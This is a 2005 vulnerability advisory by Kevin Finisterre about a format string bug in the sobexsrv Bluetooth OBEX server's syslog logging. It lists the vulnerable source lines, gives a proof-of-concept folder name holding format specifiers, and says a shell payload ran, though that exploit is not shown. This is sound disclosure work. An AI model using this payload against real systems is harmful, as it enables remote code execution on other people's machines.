DMA[2005-1202a] - 'sobexsrv - Scripting/Secure OBEX Server format string vulnerability'
Author: Kevin Finisterre

Description:
The trifinite.blog is a weblog that is maintained by the trifinite.group. Every now and then
you will find new entries there...
Over Turkey Day I noticed a blog entry about a 'not really security related but very useful'
Bluetooth application from the trifinite.group. There were actually two new applications but
one jumped out at me right away. One of the apps needed hardware I did not have so I did not
pay much attention to it, sobexsrv however seemed interesting.
sobexsrv is a Bluetooth OBEX server with Bluetooth Security Mode-2 (application triggered
security) support. It implements OPUSH (put), OPULL (get) and OBEX-FTP (setpath + directory
listing) and therefore is a full OBEX server. sobexsrv was designed with flexibility and
security in mind...
Since I truely think Trifinite is pretty hardcore I almost didn't bother looking for bugs in
this daemon. I pretty much assumed it would be rock solid. I figured if you can whisper at
cars and shit you can certainly write an OBEX server.
Being lazy I assumed that the examples from the man pages were easy enough to get me started
using the sobexsrv. I quickly found that the first 2 man page examples can be used as examples
for triggering a format string issue.
EXAMPLES
Simple setup using the internal mode, logging with syslog(8) and INBOX in /tmp.
sobexsrv -IS -r /tmp
Simple secure setup with chroot and Bluetooth security mode-2.
sobexsrv -s 2 -ISR -l X -r /tmp
In both examples shown above the -S option is used to enable syslog() logging. A format string
issue was located almost immediately in the syslog support for the logging functions. Several
instances of user input are passed to an unformatted syslog() call when using dosyslog().
kfinisterre@animosity:~/sobexsrv-1.0.0_pre3$ grep syslog\( . -rin
../src/obexsrv.c:58: void dosyslog(char *m1, void *m2, void *m3)
../src/obexsrv.c:71: syslog(LOG_INFO, log);
....
../src/obexsrv.c:203: dosyslog("folder listing for \"%s\"\n", path, 0);
../src/obexsrv.c:290: if (ret) dosyslog("pulling \"%s\"\n", fullpath, 0);
../src/obexsrv.c:291: else dosyslog("failed pulling \"%s\"\n", fullpath, 0);
../src/obexsrv.c:334: if (ret) dosyslog("pushing \"%s\"\n", fullpath, 0);
../src/obexsrv.c:335: else dosyslog("faild pushing \"%s\"\n", fullpath, 0);
../src/obexsrv.c:356: if (ret) dosyslog("deleting \"%s\"\n", fullpath, 0);
../src/obexsrv.c:357: else dosyslog("failed deleting \"%s\"\n", fullpath, 0);
../src/obexsrv.c:401: dosyslog("created directory \"%s\"\n", fullpath, 0);
../src/obexsrv.c:406: dosyslog("failed to create directory \"%s\"\n", fullpath, 0);
....
As an example I used a windows machine with the Widcomm bluetooth stack to create a folder named
"--AAAABBBB%19$x.%20$x" on a remote host. The My Bluetooth Places icon provides an OBEX ftp
interface which worked perfect for a quick verification of the bug.

The host in this example is a PowerPC linux box so keep in mind that the x86 offsets will differ.
This vulnerability is pretty trivial to exploit as shown below. We run the server in debug mode
so that we can see what is going on a little better. Then we exploit it with a scripted ussp-push.

As you can see we were able to deliver a /bin/sh payload and have the daemon run /usr/bin/id for
us.
This is what things look like from the attackers point of view.

Workaround:

"the syslog (-S) function of sobexsrv is vulerable to a formatstring attack and therefore should
not be used as of now!"

Note:
This is honestly not that critical of an issue, however it was a fun bug to exploit and it helps
satisfy my Bluetooth fetish. In reality only a handfull of Nokia 770 Tablet PC users and perhaps a

promptly.
